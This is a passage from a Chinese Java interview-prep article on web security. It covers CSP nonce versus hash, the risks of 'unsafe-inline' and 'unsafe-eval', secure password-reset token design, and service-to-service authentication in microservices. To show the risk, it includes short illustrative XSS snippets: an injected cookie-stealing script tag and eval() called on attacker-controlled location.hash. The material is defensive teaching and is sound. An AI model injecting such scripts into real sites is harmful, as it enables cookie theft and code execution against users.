适合动态生成的内联脚本 无法在静态页面(CDN 缓存)中使用
实现简单,服务端生成随机数即可 如果攻击者能预测 nonce(如使用弱随机数),CSP 直接失效
需要服务端修改模板渲染逻辑

hash 模式(内容哈希)

优点 缺点
适合静态内容,不依赖服务端生成 脚本内容有任何变化(哪怕一个空格),hash 就不同
页面可被 CDN 缓存 无法用于动态生成的脚本内容
天然防篡改:任何修改都会导致 hash 不匹配 构建流程需要自动计算 hash 并注入 CSP 头

实际选择:

  • 对于 SSR(服务端渲染)应用 → nonce 更合适
  • 对于 SPA 静态部署 → hash 更合适
  • 最佳实践:nonce + hash 可以同时使用,浏览器会检查两者,只要满足一个就放行

为什么**'unsafe-inline'**和**'unsafe-eval'**是危险的?

**'unsafe-inline'**的危险性:

添加 'unsafe-inline' 后,浏览器允许所有内联 <script> 标签和内联事件处理器(onclick="...")执行。这直接废掉了 CSP 对抗 XSS 的核心能力——因为反射型和存储型 XSS 注入的正是内联脚本:

html
<!-- CSP 有 'unsafe-inline' → 攻击者的注入直接执行 -->
<div>用户评论:<script>stealCookies()</script></div>  ← 这会被执行!

**'unsafe-eval'**的危险性:

允许 eval()、setTimeout(string)、new Function(string) 等将字符串当作代码执行。攻击者如果能控制传入 eval() 的字符串(如通过 DOM 型 XSS),就能执行任意代码:

javascript
// 如果有 'unsafe-eval' 且存在 DOM XSS
const userInput = location.hash.slice(1);  // 攻击者控制
eval(userInput);  // 直接执行攻击代码

总结:'unsafe-inline' 和 'unsafe-eval' 让 CSP 失去了对代码注入的防御能力——它们精确地允许了 XSS 攻击想要做的事情。如果必须使用它们,建议同时使用 nonce 或 hash 来限制具体的脚本,而不是完全放开。


Q7:设计一个安全的"忘记密码"功能,需要防范哪些安全风险?密码重置 Token 应该如何生成、存储、传输和过期?

参考答案:

需要防范的安全风险:

  1. Token 枚举攻击:攻击者尝试所有可能的 Token 值
  2. Token 泄露:通过 Referer、日志、URL 分享等方式泄露
  3. Token 未失效:密码重置后旧 Token 仍然可用
  4. 用户枚举:通过"用户存在/不存在"的不同响应判断有效用户
  5. 暴力破解:对同一个 Token 或账号反复尝试
  6. 时序攻击:通过响应时间差异判断用户是否存在

Token 的完整生命周期设计:

生成(Generation):

java
// 使用 SecureRandom 生成 256-bit 随机 Token
SecureRandom secureRandom = new SecureRandom();

byte[ ] tokenBytes = new byte[32];  // 256 bits

secureRandom.nextBytes(tokenBytes);
String token = Base64.getUrlEncoder().withoutPadding().encodeToString(tokenBytes);
// 结果:43 字符的 URL-safe Base64 字符串,熵值 256 bits

关键要求:

  • 使用 SecureRandom,不能用 java.util.Random
  • 最少 128 bits 熵值(推荐 256 bits)
  • 与用户 ID 绑定(Token 不是全局唯一的,而是与特定用户关联)

存储(Storage):

sql
-- 存储 Token 的哈希值,不是明文
CREATE TABLE password_reset_tokens (
    user_id BIGINT NOT NULL,
    token_hash VARCHAR(128) NOT NULL,  -- SHA-256 哈希
    expires_at TIMESTAMP NOT NULL,
    used BOOLEAN DEFAULT FALSE,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    INDEX idx_token_hash (token_hash),
    INDEX idx_user_id (user_id)
);

为什么存储哈希值? 如果数据库被拖库(SQL 注入),攻击者拿到的是 Token 的哈希值而非明文 Token,无法直接使用。验证时对用户提交的 Token 做相同的哈希,与数据库中的值比对。

传输(Transmission):

  • Token 必须通过 HTTPS 传输
  • Token 放在 URL 查询参数中(/reset?token=xxx),发送到用户邮箱
  • 不要将 Token 记录在服务器访问日志中:避免 /reset?token=xxx 出现在 Nginx 日志
    • 可选方案:使用路径参数或 POST 表单
  • 重置链接必须是一次性的,点击后立即失效

过期(Expiration):

策略 时间 说明
绝对过期时间 15-30 分钟 从 Token 生成时计算
使用后立即失效 即时 密码重置成功后立即删除或标记为已使用
多次错误尝试后失效 5 次错误后 防止暴力破解
新 Token 生成时旧 Token 失效 即时 同一用户只保留一个有效 Token

额外安全措施:

  1. 统一响应:无论用户是否存在,都返回"如果该邮箱已注册,重置链接已发送"——防止用户枚举
  2. 速率限制:同一邮箱/同一 IP 每小时最多请求 3 次重置
  3. 重置后强制措施:密码重置成功后,立即使所有现有 Session 失效,并发送通知邮件
  4. CAPTCHA:重置请求页面增加验证码,防止自动化攻击
  5. 审计日志:记录所有重置请求(成功/失败),包括 IP、时间、User-Agent

Q8:在微服务架构中,服务间调用(如 A 服务通过 HTTP 调用 B 服务)是否也需要防范 CSRF?为什么?如果需要在服务间传递用户身份,应该如何设计?

参考答案:

服务间调用不需要防范 CSRF,但需要防范其他安全风险。

为什么不需要 CSRF 防护?

CSRF 攻击的前提是浏览器自动携带 Cookie 的机制。服务间调用是服务器到服务器的通信,不存在浏览器、不存在 Cookie 自动携带、不存在用户被诱导点击恶意链接的场景。因此传统 CSRF 攻击在服务间调用中不成立。

但服务间调用需要防范以下安全风险:

  1. 未授权服务调用:任何服务都不应该能随意调用其他服务
  2. 身份伪造:攻击者伪装成合法服务发起请求
  3. 权限提升:普通服务调用管理接口
  4. 重放攻击:截获合法请求后重复发送
  5. 中间人攻击:内网流量被劫持

服务间认证方案设计:

方案一:mTLS(双向 TLS)—— 推荐

code
服务 A ──出示自己的证书──▶ 服务 B
服务 A ◀──出示自己的证书── 服务 B
双方互相验证证书 → 建立加密通道
  • 每个服务有自己的 TLS 证书
  • 服务间通信要求双向证书验证
  • 适合:零信任网络、高安全要求的场景
  • 工具:Istio/Envoy 自动管理、Cert-Manager 自动签发

方案二:服务间 JWT(Service-to-Service Token)

code
服务 A → 获取 Service Token(从认证中心或本地生成)
      → 携带 Token 调用服务 B
服务 B → 验证 Token 签名和有效期
java
// 服务 A 发请求时携带 Service Token
headers.set("Authorization", "Bearer " + serviceToken);
// 服务 B 验证
@PreAuthorize("hasAuthority('SERVICE_ACCOUNT')")
  • 使用非对称加密(RS256/ES256),服务 B 用公钥验证
  • Token 包含:iss(签发者)、sub(调用方服务名)、aud(目标服务)、exp(过期时间,通常 5-15 分钟)

方案三:API Gateway + 内部网络隔离

code
外部请求 → API Gateway(认证 + 鉴权)→ 服务 A → 服务 B
                                          │
                              传递用户上下文(Header)
  • 服务部署在私有网络中,不直接暴露
  • 服务间通过内网通信,依赖网络隔离
  • API Gateway 验证用户身份后,将用户信息通过 HTTP Header 传递给下游

服务间传递用户身份的设计:

当服务 A 调用服务 B 时,需要将用户身份传递给 B(如审计日志需要记录是哪个用户触发的操作):

java
// 方案一:通过请求头传递
headers.set("X-User-Id", currentUser.getId());
headers.set("X-User-Roles", String.join(",", currentUser.getRoles()));
headers.set("X-Request-Id", traceId);  // 分布式追踪

// 方案二:传递签名的用户上下文 Token
String userContextToken = JWT.create()
    .withClaim("userId", currentUser.getId())
    .withClaim("roles", currentUser.getRoles())
    .withClaim("originalService", "service-a")
    .withExpiresAt(new Date(System.currentTimeMillis() + 60000))  // 1分钟
    .sign(Algorithm.HMAC256(serviceSharedSecret));
headers.set("X-User-Context", userContextToken);

安全要求:

  • 用户上下文 Token 必须由可信的服务签发(API Gateway 或 Auth Service)
  • 下游服务不能盲信上游传递的用户身份——要么验证签名,要么只在信任边界内使用
  • 不要将认证凭证(如用户密码、原始 JWT)在服务间传递
  • 使用分布式追踪(Trace ID)关联请求链路

总结:服务间不需要 CSRF Token,但需要 mTLS 或 Service Token 确保请求来自合法服务。用户身份传递应使用签名的短时效 Token,而非原始凭证。


本文是「Java 技术专家与架构师面试:250 个高频考点总览」系列第 226 篇。下一篇:227|认证与授权:OAuth 2.0、OIDC、JWT 与 RBAC 模型。